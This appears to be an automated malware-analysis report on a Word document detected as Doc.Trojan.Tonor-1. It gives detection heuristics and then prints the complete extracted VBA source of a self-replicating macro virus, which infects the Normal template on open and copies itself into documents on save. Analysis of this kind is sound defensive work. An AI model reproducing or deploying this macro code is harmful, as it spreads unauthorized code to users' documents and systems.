MALICIOUS
200
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample is identified as malicious by ClamAV with the signature Doc.Trojan.Tonor-1. It contains a VBA macro with an AutoOpen subroutine that attempts to copy itself to other documents and mark them with the string 'IAMHERE'. The macro also includes logic to save the document with a variable set to 'OK', indicating a potential persistence or spread mechanism.
Heuristics 4
-
ClamAV: Doc.Trojan.Tonor-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Tonor-1
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 1808 bytes |
SHA-256: 3475050e42b39644f873e98a71d91952778ea0024b60beacdbcda9b4c1cb2e16 |
|||
|
Detection
ClamAV:
Doc.Trojan.Tonor-1
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "TONORMAL"
Public Sub AutoOpen()
If Templates(1).AutoTextEntries.Item(1) = "IAMHERE" Then GoTo done Else
Application.OrganizerCopy Source:=MacroContainer.FullName, _
Destination:=Application.Templates(1).FullName, Name:="TONORMAL", _
Object:=wdOrganizerObjectProjectItems
Templates(1).AutoTextEntries.Add("- AAAAAAAA", ActiveDocument.Words(1)) = "IAMHERE"
done:
On Error GoTo kill
kill:
End Sub
Public Sub FileSaveAs()
Dim kobar As String
Dialogs(wdDialogFileSaveAs).Show
If (ActiveDocument.Variables.Count > 0) Then If (ActiveDocument.Variables.Item(1).Value = "OK") Then GoTo done Else
Application.OrganizerCopy Source:=MacroContainer.FullName, _
Destination:=ActiveDocument.FullName, Name:="TONORMAL", _
Object:=wdOrganizerObjectProjectItems
ActiveDocument.Variables.Add Name:="AAAAAAAA", Value:="OK"
done:
ActiveDocument.SaveAs (Dialogs(wdDialogFileSaveAs).Name)
On Error GoTo kill
kill:
End Sub
Public Sub FileSave()
If ActiveDocument.Variables.Count > 0 Then
If (ActiveDocument.Variables.Item(1).Value = "OK") Then GoTo done
Else
Application.OrganizerCopy Source:=MacroContainer.FullName, _
Destination:=ActiveDocument.FullName, Name:="TONORMAL", _
Object:=wdOrganizerObjectProjectItems
ActiveDocument.Variables.Add Name:="AAAAAAAA", Value:="OK"
End If
done:
ActiveDocument.Save
On Error GoTo kill
kill:
End Sub
Public Sub about()
' VIRUS 8x64oct
' FROM ESTONIA
' NOT HARMFUL
' ONLY SPREADS
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.